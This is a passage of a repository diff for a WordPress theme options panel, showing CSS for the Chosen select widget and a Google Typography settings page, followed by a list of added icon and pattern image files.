background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, linear-gradient(#eeeeee 1%, #ffffff 15%);
margin: 1px 0;
padding: 4px 20px 4px 5px;
outline: 0;
border: 1px solid #aaa;
font-family: sans-serif;
font-size: 1em;
width: 100%;
-moz-box-sizing : border-box;
-ms-box-sizing : border-box;
-webkit-box-sizing: border-box;
-khtml-box-sizing : border-box;
box-sizing : border-box;
}
.chzn-container-single .chzn-drop {
margin-top: -1px;
-webkit-border-radius: 0 0 4px 4px;
-moz-border-radius : 0 0 4px 4px;
border-radius : 0 0 4px 4px;
-moz-background-clip : padding;
-webkit-background-clip: padding-box;
background-clip : padding-box;
}
.chzn-container-single-nosearch .chzn-search {
position: absolute;
left: -9999px;
}
/* @end */
/* @group Multi Chosen */
.chzn-container-multi .chzn-choices {
background-color: #fff;
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
background-image: -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background-image: -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background-image: -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background-image: linear-gradient(#eeeeee 1%, #ffffff 15%);
border: 1px solid #aaa;
margin: 0;
padding: 0;
cursor: text;
overflow: hidden;
height: auto !important;
height: 1%;
position: relative;
width: 100%;
-moz-box-sizing : border-box;
-ms-box-sizing : border-box;
-webkit-box-sizing: border-box;
-khtml-box-sizing : border-box;
box-sizing : border-box;
}
.chzn-container-multi .chzn-choices li {
float: left;
list-style: none;
}
.chzn-container-multi .chzn-choices .search-field {
white-space: nowrap;
margin: 0;
padding: 0;
}
.chzn-container-multi .chzn-choices .search-field input {
color: #666;
background: transparent !important;
border: 0 !important;
font-family: sans-serif;
font-size: 100%;
height: 15px;
padding: 5px;
margin: 1px 0;
outline: 0;
-webkit-box-shadow: none;
-moz-box-shadow : none;
box-shadow : none;
}
.chzn-container-multi .chzn-choices .search-field .default {
color: #999;
}
.chzn-container-multi .chzn-choices .search-choice {
-webkit-border-radius: 3px;
-moz-border-radius : 3px;
border-radius : 3px;
-moz-background-clip : padding;
-webkit-background-clip: padding-box;
background-clip : padding-box;
background-color: #e4e4e4;
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f4f4', endColorstr='#eeeeee', GradientType=0 );
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eeeeee));
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: linear-gradient(#f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
-webkit-box-shadow: 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
-moz-box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
box-shadow : 0 0 2px #ffffff inset, 0 1px 0 rgba(0,0,0,0.05);
color: #333;
border: 1px solid #aaaaaa;
line-height: 13px;
padding: 3px 20px 3px 5px;
margin: 3px 0 3px 5px;
position: relative;
cursor: default;
}
.chzn-container-multi .chzn-choices .search-choice.search-choice-disabled {
background-color: #e4e4e4;
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f4f4', endColorstr='#eeeeee', GradientType=0 );
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eeeeee));
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: -ms-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
background-image: linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eeeeee 100%);
color: #666;
border: 1px solid #cccccc;
padding-right: 5px;
}
.chzn-container-multi .chzn-choices .search-choice-focus {
background: #d4d4d4;
}
.chzn-container-multi .chzn-choices .search-choice .search-choice-close {
display: block;
position: absolute;
right: 3px;
top: 4px;
width: 12px;
height: 12px;
font-size: 1px;
background: url('../images/chosen-sprite.png') -42px 1px no-repeat;
}
.chzn-container-multi .chzn-choices .search-choice .search-choice-close:hover {
background-position: -42px -10px;
}
.chzn-container-multi .chzn-choices .search-choice-focus .search-choice-close {
background-position: -42px -10px;
}
/* @end */
/* @group Results */
.chzn-container .chzn-results {
margin: 0 4px 4px 0;
max-height: 240px;
padding: 0 0 0 4px;
position: relative;
overflow-x: hidden;
overflow-y: auto;
-webkit-overflow-scrolling: touch;
}
.chzn-container-multi .chzn-results {
margin: 0;
padding: 0;
}
.chzn-container .chzn-results li {
display: none;
line-height: 15px;
padding: 5px 6px;
margin: 0;
list-style: none;
}
.chzn-container .chzn-results .active-result {
cursor: pointer;
display: list-item;
}
.chzn-container .chzn-results .highlighted {
background-color: #3875d7;
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3875d7', endColorstr='#2a62bc', GradientType=0 );
background-image: -webkit-gradient(linear, 0 0, 0 100%, color-stop(20%, #3875d7), color-stop(90%, #2a62bc));
background-image: -webkit-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
background-image: -moz-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
background-image: -o-linear-gradient(top, #3875d7 20%, #2a62bc 90%);
background-image: linear-gradient(#3875d7 20%, #2a62bc 90%);
color: #fff;
}
.chzn-container .chzn-results li em {
background: #feffde;
font-style: normal;
}
.chzn-container .chzn-results .highlighted em {
background: transparent;
}
.chzn-container .chzn-results .no-results {
background: #f4f4f4;
display: list-item;
}
.chzn-container .chzn-results .group-result {
cursor: default;
color: #999;
font-weight: bold;
}
.chzn-container .chzn-results .group-option {
padding-left: 15px;
}
.chzn-container-multi .chzn-drop .result-selected {
display: none;
}
.chzn-container .chzn-results-scroll {
background: white;
margin: 0 4px;
position: absolute;
text-align: center;
width: 321px; /* This should by dynamic with js */
z-index: 1;
}
.chzn-container .chzn-results-scroll span {
display: inline-block;
height: 17px;
text-indent: -5000px;
width: 9px;
}
.chzn-container .chzn-results-scroll-down {
bottom: 0;
}
.chzn-container .chzn-results-scroll-down span {
background: url('../images/chosen-sprite.png') no-repeat -4px -3px;
}
.chzn-container .chzn-results-scroll-up span {
background: url('../images/chosen-sprite.png') no-repeat -22px -3px;
}
/* @end */
/* @group Active */
.chzn-container-single.chzn-with-drop a{
-webkit-border-bottom-left-radius : 0;
-webkit-border-bottom-right-radius: 0;
-moz-border-radius-bottomleft : 0;
-moz-border-radius-bottomright: 0;
border-bottom-left-radius : 0;
border-bottom-right-radius: 0;
background: #fafafa;
}
.chzn-container-active.chzn-with-drop .chzn-single div b {
background-position: -18px 6px;
}
.chzn-container-active .chzn-choices {
-webkit-box-shadow: 0 0 5px rgba(0,0,0,.3);
-moz-box-shadow : 0 0 5px rgba(0,0,0,.3);
box-shadow : 0 0 5px rgba(0,0,0,.3);
border: 1px solid #5897fb;
}
.chzn-container-active .chzn-choices .search-field input {
color: #111 !important;
}
/* @end */
/* @group Disabled Support */
.chzn-disabled {
cursor: default;
opacity:0.5 !important;
}
.chzn-disabled .chzn-single {
cursor: default;
}
.chzn-disabled .chzn-choices .search-choice .search-choice-close {
cursor: default;
}
/* @group Right to Left */
.chzn-rtl { text-align: right; }
.chzn-rtl .chzn-single { padding: 0 8px 0 0; overflow: visible; }
.chzn-rtl .chzn-single span { margin-left: 26px; margin-right: 0; direction: rtl; }
.chzn-rtl .chzn-single div { left: 3px; right: auto; }
.chzn-rtl .chzn-single abbr {
left: 26px;
right: auto;
}
.chzn-rtl .chzn-choices .search-field input { direction: rtl; }
.chzn-rtl .chzn-choices li { float: right; }
.chzn-rtl .chzn-choices .search-choice { padding: 3px 5px 3px 19px; margin: 3px 5px 3px 0; }
.chzn-rtl .chzn-choices .search-choice .search-choice-close { left: 4px; right: auto; }
.chzn-rtl .chzn-search { left: 9999px; }
.chzn-rtl.chzn-with-drop .chzn-search { left: 0px; }
.chzn-rtl .chzn-drop { left: 9999px; }
.chzn-rtl.chzn-container-single .chzn-results { margin: 0 0 4px 4px; padding: 0 4px 0 0; }
.chzn-rtl .chzn-results .group-option { padding-left: 0; padding-right: 15px; }
.chzn-rtl.chzn-container-active.chzn-with-drop .chzn-single div { border-right: none; }
.chzn-rtl .chzn-search input {
background: #fff url('../images/chosen-sprite.png') no-repeat -30px -20px;
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, -o-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background: url('../images/chosen-sprite.png') no-repeat -30px -20px, linear-gradient(#eeeeee 1%, #ffffff 15%);
padding: 4px 5px 4px 20px;
direction: rtl;
}
.chzn-container-single.chzn-rtl .chzn-single div b {
background-position: 6px 2px;
}
.chzn-container-single.chzn-rtl.chzn-with-drop .chzn-single div b {
background-position: -12px 2px;
}
/* @end */
/* @group Retina compatibility */
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
.chzn-rtl .chzn-search input, .chzn-container-single .chzn-single abbr, .chzn-container-single .chzn-single div b, .chzn-container-single .chzn-search input, .chzn-container-multi .chzn-choices .search-choice .search-choice-close, .chzn-container .chzn-results-scroll-down span, .chzn-container .chzn-results-scroll-up span {
background-image: url('../images/chosen-sprite@2x.png') !important;
background-repeat: no-repeat !important;
background-size: 52px 37px !important;
}
}
/* @end */

244
options/google-typography/stylesheets/google-typography.css Normal file
View File

@@ -0,0 +1,244 @@
div#google_typography { }
div#google_typography .help_hint {
width: 132px;
height: 50px;
background: url('../images/help_hint.png') no-repeat;
position: absolute;
top: -75px;
right: 25px;
}
div#google_typography .welcome {
display: none;
font-family: 'Lato';
text-align: center;
margin-top: 60px;
position: relative;
}
div#google_typography .welcome .welcome_title { margin-bottom: 55px; }
div#google_typography .welcome .welcome_title h1 {
font-size: 40px;
color: #666;
font-weight: 300;
margin-bottom: 40px;
}
div#google_typography .welcome .welcome_title p {
font-size: 17px;
color: #aaa;
font-weight: 300;
}
div#google_typography .welcome ul.steps {
list-style: none;
overflow: hidden;
}
div#google_typography .welcome ul.steps li {
float: left;
width: 33%;
padding-top: 220px;
}
div#google_typography .welcome ul.steps li h3 {
font-size: 22px;
font-weight: 400;
margin-bottom: 20px;
}
div#google_typography .welcome ul.steps li p {
font-size: 13px;
color: #999;
}
div#google_typography .welcome ul.steps li.step_1 {
background: url('../images/step_1.png') no-repeat top center;
}
div#google_typography .welcome ul.steps li.step_2 {
background: url('../images/step_2.png') no-repeat top center;
}
div#google_typography .welcome ul.steps li.step_3 {
background: url('../images/step_3.png') no-repeat top center;
}
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
div#google_typography .welcome ul.steps li.step_1 {
background: url('../images/step_1@2x.png') no-repeat top center;
background-size: 210px 210px;
}
div#google_typography .welcome ul.steps li.step_2 {
background: url('../images/step_2@2x.png') no-repeat top center;
background-size: 210px 210px;
}
div#google_typography .welcome ul.steps li.step_3 {
background: url('../images/step_3@2x.png') no-repeat top center;
background-size: 210px 210px;
}
}
div#google_typography .template { display: none; }
div#google_typography .collections {
margin-top: 20px;
}
div#google_typography .collection {
border: 1px solid #d9d9d9;
-moz-border-radius: 4px;
-webkit-border-radius: 4px;
border-radius: 4px;
background-color: #fff;
margin-bottom: 20px;
-webkit-transition: box-shadow 0.2s ease-in;
-moz-transition: box-shadow 0.2s ease-in;
-o-transition: box-shadow 0.2s ease-in;
transition: box-shadow 0.2s ease-in;
cursor: move;
}
div#google_typography .collection.current {
border: 1px solid #aaa;
-moz-box-shadow: 0 0 10px rgba(1,1,1,.25);
-webkit-box-shadow: 0 0 10px rgba(1,1,1,.25);
box-shadow: 0 0 10px rgba(1,1,1,.25);
}
/* Preview */
div#google_typography .font_preview {
padding: 20px;
min-height: 30px;
font-size: 32px;
position: relative;
-webkit-border-radius: 4px 4px 0px 0px;
-moz-border-radius: 4px 4px 0px 0px;
border-radius: 4px 4px 0px 0px;
}
div#google_typography .font_preview.dark,
div#google_typography .font_preview.dark input {
background: #313131;
}
div#google_typography .font_preview input{
border: 0;
padding: 0;
width: 98%;
}
div#google_typography .font_preview input:focus {
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
}
div#google_typography .font_preview ul.preview_color {
list-style: none;
position: absolute;
top: 25px;
right: 15px;
margin: 0;
padding: 0;
}
div#google_typography .font_preview ul.preview_color li { }
div#google_typography .font_preview ul.preview_color li a {
width: 9px;
height: 9px;
text-indent: -999999px;
display: block;
-webkit-border-radius: 100%;
-moz-border-radius: 100%;
border-radius: 100%;
background: #fff;
border: 1px solid rgba(0,0,0,0.2);
cursor: pointer;
}
div#google_typography .font_preview ul.preview_color li a.dark { background: #292929; border: 1px solid rgba(255,255,255,0.4); }
/* Options */
div#google_typography .font_options {
padding: 10px;
background: #f5f5f5;
border-top: 1px solid #d9d9d9;
-webkit-border-radius: 0px 0px 4px 4px;
-moz-border-radius: 0px 0px 4px 4px;
border-radius: 0px 0px 4px 4px;
}
div#google_typography .font_options .left_col { float: left; }
div#google_typography .font_options .right_col {
float: right;
opacity: 0;
-webkit-transition: all 0.2s ease-in;
-moz-transition: all 0.2s ease-in;
-o-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
div#google_typography .collection.current .font_options .right_col { opacity: 1; }
div#google_typography .font_options .font_family { width: 210px; }
div#google_typography .font_options .font_variant { width: 105px; }
div#google_typography .font_options .font_size { width: 105px; }
div#google_typography .font_options .wp-color-result {
height: 30px;
margin: -8px 0px 0px 0;
vertical-align: top;
}
div#google_typography .font_options .wp-color-result:after { line-height: 30px; }
div#google_typography .font_options .wp-picker-open { top: 1px; }
div#google_typography .font_options .wp-picker-holder { position: absolute; }
div#google_typography .font_options .wp-picker-input-wrap { margin-top: -7px; }
div#google_typography .font_options .wp-picker-clear { display: none; }
div#google_typography .font_options .wp-picker-container .iris-picker { z-index: 1000; }
div#google_typography .font_options .font_color,
div#google_typography .font_options .css_selectors { padding: 7px 7px 8px 7px; margin: 0; }
div#google_typography .font_options .font_color { margin-left: 3px; }
div#google_typography .font_options .css_selectors { width: 220px; }
div#google_typography .font_options a.save_collection.saving { opacity: .5; }
div#google_typography .font_options a.delete_collection {
color: #f00;
margin-right: 10px;
text-decoration: none;
border-bottom: 1px solid;
padding: 1px 2px;
-webkit-transition: all 0.2s ease-in;
-moz-transition: all 0.2s ease-in;
-o-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
div#google_typography .font_options a.delete_collection:hover { background: #f00; color: #fff; }
div#google_typography .reset_collections {
color: #f00;
}
div#google_typography .reset_collections:hover {
background: #f00;
color: #fff;
text-shadow: none;
}
div#google_typography .css_selectors {
-webkit-transition: all 200ms linear;
-moz-transition: all 200ms linear;
border: none;
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2), 0 2px 0 rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.1) inset;
}
div#google_typography .css_selectors:focus {
box-shadow: 0 0 0 1px #ccc, 0 0 8px #ccc, 0 1px 2px rgba(0, 0, 0, 0.1) inset;
}
div#google_typography .loading {
width: 600px;
margin: 80px auto 0 auto;
text-align: center;
display: none;
}
div#google_typography .loading .spin {
width: 34px;
height: 34px;
background: url('../images/spinner.gif') no-repeat;
display: block;
margin: 0 auto 15px auto;
}
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
div#google_typography .loading .spin {
background: url('../images/spinner@2x.gif') no-repeat;
background-size: 34px 34px;
}
}
div#google_typography .footer {}
div#google_typography .footer p {
color: #999;
font-size: 11px;
}
/*--------------------------------------------
Misc
---------------------------------------------*/
.clear {
clear: both;
}
div#google_typography a,
div#google_typography select { outline: none; }
/*--------------------------------------------
MyThemeShop Custom CSS
---------------------------------------------
div#google_typography .collection:nth-last-child(-n+2) .css_selectors, div#google_typography .collection:nth-last-child(-n+2) .font_options .left_col div.chzn-container:nth-child(6) {
display: none;
}*/

BIN
options/img/glyphicons/adsetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 596 B

BIN
options/img/glyphicons/facebook.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 637 B

BIN
options/img/glyphicons/fontsetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 232 B

BIN
options/img/glyphicons/generalsetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 630 B

BIN
options/img/glyphicons/glyphicons_082_roundabout.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 449 B

BIN
options/img/glyphicons/header.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 415 B

BIN
options/img/glyphicons/navsetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 336 B

BIN
options/img/glyphicons/singlepost.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 407 B

BIN
options/img/glyphicons/socialsetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 759 B

BIN
options/img/glyphicons/stylesetting.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 482 B

BIN
options/img/glyphicons/twitter.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 647 B

BIN
options/img/layouts/ccs.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 193 B

BIN
options/img/layouts/cs.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 910 B

BIN
options/img/layouts/sc.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 910 B

BIN
options/img/layouts/scc.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 182 B

BIN
options/img/menu_icon.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 581 B

BIN
options/img/optionpanellogo.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 4.5 KiB

BIN
options/img/patterns/nobg.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 383 B

BIN
options/img/patterns/pattern0.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 572 B

BIN
options/img/patterns/pattern1.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 596 B

BIN
options/img/patterns/pattern10.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 660 B

BIN
options/img/patterns/pattern11.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 108 B

BIN
options/img/patterns/pattern12.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 613 B

BIN
options/img/patterns/pattern13.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 115 B

BIN
options/img/patterns/pattern14.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.9 KiB

BIN
options/img/patterns/pattern15.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 165 B

BIN
options/img/patterns/pattern16.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.2 KiB

BIN
options/img/patterns/pattern17.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.6 KiB

BIN
options/img/patterns/pattern18.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.6 KiB

BIN
options/img/patterns/pattern19.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 3.0 KiB

BIN
options/img/patterns/pattern2.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 103 B

BIN
options/img/patterns/pattern20.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.9 KiB

Some files were not shown because too many files have changed in this diff Show More